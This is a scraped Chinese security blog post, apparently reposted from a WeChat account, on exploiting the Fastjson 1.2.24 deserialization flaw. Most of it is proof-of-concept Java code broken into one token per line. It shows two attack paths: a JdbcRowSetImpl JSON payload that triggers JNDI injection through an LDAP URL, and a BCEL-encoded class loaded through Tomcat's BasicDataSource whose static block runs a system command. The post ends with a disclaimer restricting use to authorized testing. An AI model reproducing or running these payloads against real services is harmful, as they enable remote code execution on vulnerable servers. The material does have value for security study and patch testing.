0x01 利用条件
0x02 出网+JNDI注入
利用类:JdbcRowSetImpl
-
package
fastjson
.
test2
;
-
import
com
.
alibaba
.
fastjson
.
JSON
;
-
public
class
JdbcRowSetImplPOC
{
-
public
static
void
main
(
String
[]
args
){
-
String
s
=
"{"@type":"com.sun.rowset.JdbcRowSetImpl","DataSourceName":"ldap://127.0.0.1:8086/LrcaDhze","autoCommit":"false"}"
;
-
JSON
.
parseObject
(
s
);
-
}
0x03 不出网+动态加载字节码
利用类:ClassLoader
-
$$BCEL$$
-
$$BCEL$$
-
参数一:类的全限定名,用于获取它的
Class
对象。
-
参数二:布尔型,为
true
时,在类加载的时候会进行初始化。
-
参数三:选择指定的类加载器。
-
createConnectionFactory
-》
createDataSource
-》
getConnection
-
package
fastjson
.
test2
;
-
import
java
.
io
.
IOException
;
-
public
class
Evaltest
{
-
static
{
-
try
{
-
Runtime
.
getRuntime
().
exec
(
"calc"
);
-
}
catch
(
IOException
e
)
{
-
e
.
printStackTrace
();
-
}
-
}
-
}
-
package
fastjson
.
test2
;
-
import
com
.
sun
.
org
.
apache
.
bcel
.
internal
.
classfile
.
Utility
;
-
import
com
.
sun
.
org
.
apache
.
bcel
.
internal
.
util
.
ClassLoader
;
-
import
org
.
apache
.
tomcat
.
dbcp
.
dbcp2
.
BasicDataSource
;
-
import
java
.
io
.
IOException
;
-
import
java
.
nio
.
file
.
Files
;
-
import
java
.
nio
.
file
.
Paths
;
-
import
java
.
sql
.
SQLException
;
-
public
class
FastJsonBcel
{
-
public
static
void
main
(
String
[]
args
)
throws
IOException
,
ClassNotFoundException
,
InstantiationException
,
IllegalAccessException
,
SQLException
{
-
ClassLoader
classLoader
=
new
ClassLoader
();
-
byte
[]
bytes
=
Files
.
readAllBytes
(
Paths
.
get
(
"D:\tmp\classes\Evaltest.class"
));
-
String
s
=
Utility
.
encode
(
bytes
,
true
);
-
BasicDataSource
basicDataSource
=
new
BasicDataSource
();
-
basicDataSource
.
setDriverClassLoader
(
classLoader
);
-
basicDataSource
.
setDriverClassName
(
"$$BCEL$$"
+
s
);
-
basicDataSource
.
getConnection
();
-
}
-
}
-
package
fastjson
.
test2
;
-
import
com
.
alibaba
.
fastjson
.
JSON
;
-
import
com
.
sun
.
org
.
apache
.
bcel
.
internal
.
classfile
.
Utility
;
-
import
com
.
sun
.
org
.
apache
.
bcel
.
internal
.
util
.
ClassLoader
;
-
import
java
.
io
.
IOException
;
-
import
java
.
nio
.
file
.
Files
;
-
import
java
.
nio
.
file
.
Paths
;
-
import
java
.
sql
.
SQLException
;
-
public
class
FastJsonBcel
{
-
public
static
void
main
(
String
[]
args
)
throws
IOException
,
ClassNotFoundException
,
InstantiationException
,
IllegalAccessException
,
SQLException
{
-
ClassLoader
classLoader
=
new
ClassLoader
();
-
byte
[]
bytes
=
Files
.
readAllBytes
(
Paths
.
get
(
"D:\tmp\classes\Evaltest.class"
));
-
String
s
=
Utility
.
encode
(
bytes
,
true
);
-
String
code
=
"{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","DriverClassName":"$$BCEL$$"
+
s
+
"","DriverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"}}"
;
-
JSON
.
parseObject
(
code
);
0x04 toJSON方法遍历所有getter的分析
动态调用函数,成功调用getConnection方法,作为反序列化的开头,继续跟进的话也就回到刚才利用分析的地方。到此就结束。
0x05 结语
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):fastjson反序列化-1.2.24漏洞利用与分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论